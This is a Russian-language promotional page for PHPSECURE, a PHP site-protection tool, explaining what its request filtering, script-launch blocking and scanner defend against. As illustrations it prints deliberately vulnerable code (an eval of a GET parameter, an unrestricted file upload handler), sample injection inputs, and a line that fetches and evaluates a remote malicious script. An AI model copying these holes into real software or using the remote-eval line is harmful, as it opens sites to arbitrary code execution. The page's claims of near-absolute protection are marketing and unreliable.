От чего защищает

Проще сказать, от чего PHPSEC не защищает, всё же будем последовательны и опишем кратко основные механизмы защиты.

Предотвращение запуска встроенное в PHPSECURE, не позволит запустить ни один php-скрипт на Вашем сайте, если Вы предварительно не разрешили его запуск в настройках системы.
Таким образом, если даже взломщик сможет загрузить php-скрипт на Ваш сайт, например, спрятав его в картинку - он не сможет им воспользоваться!

Фильтрация запросов встроенная в PHPSECURE проверяет все данные передаваемые Вашим скриптам с веб-форм на сайте и отфильтровывает потенциально опасные данные.
Таким образом, даже если сайт имеет уязвимость позволяющую выполнить SQL-запрос (SQL-инъекция) или выполнить произвольный код, передаваемый скрипту через веб-форму на сайте, PHPSECURE отфильтрует такие запросы и защитит сайт.

Сканер угроз - позволяет обнаружить вредоносные файлы на аккаунте, даже в том случае, если Вы установили PHPSECURE уже после того, как сайт был взломан.
Это, с большой вероятностью, позволит вычистить сайт и не допустить повторного взлома.

Иными словами - PHPSECURE защищает сайты почти от всех видов потенциальных уязвимостей!


Теперь, подробнее.

Разберем две, самых страшных ситуации.

Ситуация первая:
Допустим, в одном из скриптов на Вашем сайте, присутствует такой код:
<?php
if(isset($_GET['var'])){
eval($_GET['var']);
}
?>

Если Вам знакомы хотя бы азы программирования на PHP, то Вы понимаете, что такой скрипт позволит выполнить любой произвольный код на Вашем сайте, т.е. это та самая уязвимость, обнаружение которой автоматически означает, что Ваш сайт взломан.

Однако, если на сайте установлен PHPSEC в котором включена фильтрация запросов, то сделать что-либо при помощи такого скрипта будет весьма затруднительно.
Ведь после прохождения фильтров PHPSECURE, запрос будет заблокирован, либо текст запроса передаваемый скрипту изменится и будет выглядеть, например так:

file_get_conets<!--PHPSECURED-->('config.php')
вместо
file_get_conets('config.php')
A SQL-код:
SELECT <!--PHPSECURED-->password
вместо
SELECT password

Иными словами, от подобного рода уязвимостей PHPSEC защищает.

И вторая ситуация:
Допустим, на сайте присутствует такой скрипт:
<form enctype="multipart/form-data" method="post">
<input type="hidden" name="MAX_FILE_SIZE" value="30000">
Send this file: <input name="userfile" type="file">
<input type="submit" value="Send File">
</form>
<?php
if(isset($_FILES)){
$uploaddir = './';
    if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . 
            $_FILES['userfile']['name'])) {
        print "File successfully uploaded.";
    } else {
        print "There some errors!";
    }
}
?>
Как можно понять - этот скрипт позволяет загрузить на сервер любой файл, с любым расширением и содержанием, в том числе любой php-скрипт и как Вы понимаете, это также означает автоматический взлом.

Однако вспомним, что PHPSEC не позволит запустить какой бы то ни было скрипт, если Вы предварительно не разрешили его запуск в настройках. Таким образом и от этой угрозы PHPSEC надежно защищает.

Более того, если загружаемый файл будет иметь расширение .php - PHPSECURE отфильтрует его содержимое.

Благодаря такому многоуровневому алгоритму работы, защита PHPSEC действительно весьма эффективна - он защищает даже от самых страшных уязвимостей.

От чего PHPSEC защитить не в состоянии:

1. Недостаточная обработка данных, получаемых скриптом самостоятельно.
Т.е., если у Вас в скрипте будет такой код:
<?php eval(file_get_contents('http://сайт/вредоносный_скрипт')); ?>
В этом случае PHPSEC никак не сможет воспрепятствовать выполнению произвольного кода, содержащегося в файле вредоносный_скрипт.

2. Кража пароля с Вашего компьютера и взлом через ФТП.
В этом случае не о чем и говорить. PHPSEC защищает сайт от взлома через уязвимости в скриптах, но никак не может защитить от взлома Ваш собственный компьютер - это работа антивируса. И если взломщик получил доступ к ФТП, то остается лишь надеяться, что он не обратит внимание на наличие PHPSEC у Вас на сайте, а PHPSEC в свою очередь сможет хотя бы отправить Вам уведомление о взломе.

3. Если на сайте работают скрипты, на языке отличном от PHP, например Perl.
PHPSEC контролирует работу только php-скриптов. Если злоумышленник воспользуется уязвимостью в perl-скрипте (или любом другом, отличном от PHP), PHPSEC не сможет этому помешать. Если взломщик попытается модифицировать php-скрипты, сработает контроль изменения файлов и/или предотвращение запуска, но нет никаких гарантий, что взломщик не повредит непосредственно файлы самого PHPSECURE.

4. От глупости, халатности и безалаберности.
Если Вы используете пароли типа 10101, если на Вашем сайте работают nulled-скрипты скачанные из ненадежных источников, если доступ к ФТП/Админке Вашего сайта есть у десятков Ваших друзей и опубликован на Вашей страничке вконтакте - PHPSEC не сможет защитить Ваши сайты.


Сложно придумать еще какие-либо ситуации, в которых PHPSEC не в состоянии защитить Ваш сайт. Особенно, учитывая тот факт, что "Фильтрация запросов" - это не мифическая опция, а мощный настраиваемый инструмент, позволяющий Вам добавлять собственные фильтры, в том числе, на основе регулярных выражений.
Таким образом, при грамотной настройке фильтрации запросов, PHPSECURE делает защиту сайта практически абсолютной.
Пусть будет меньше взломов, меньше вирусов, меньше спама! Расскажите всем!
  • Добавить ВКонтакте заметку об этой странице
  • Мой Мир
  • Одноклассники
  • Facebook
  • Twitter
  • Блог Я.ру
  • В закладки Google
  • LiveJournal
  • Яндекс.Закладки
  • MySpace
  • FriendFeed
  • Google Buzz
  • LinkedIn
  • Reddit
  • StumbleUpon
  • Technorati
  • del.icio.us
  • Digg
  • БобрДобр
  • MisterWong.RU
  • Memori.ru
  • МоёМесто.ru
  • Сто закладок
  • Блог Li.ру
  • BlinkList
  • Blogger
  • Live
  • Blogosphere News
Мы контакте - присоединяйтесь!
Скачать phpsecureinstall.tar.gz

ОДОБРЕНО

FastVPS
Хостинг WebXL
Виртуальная Выкса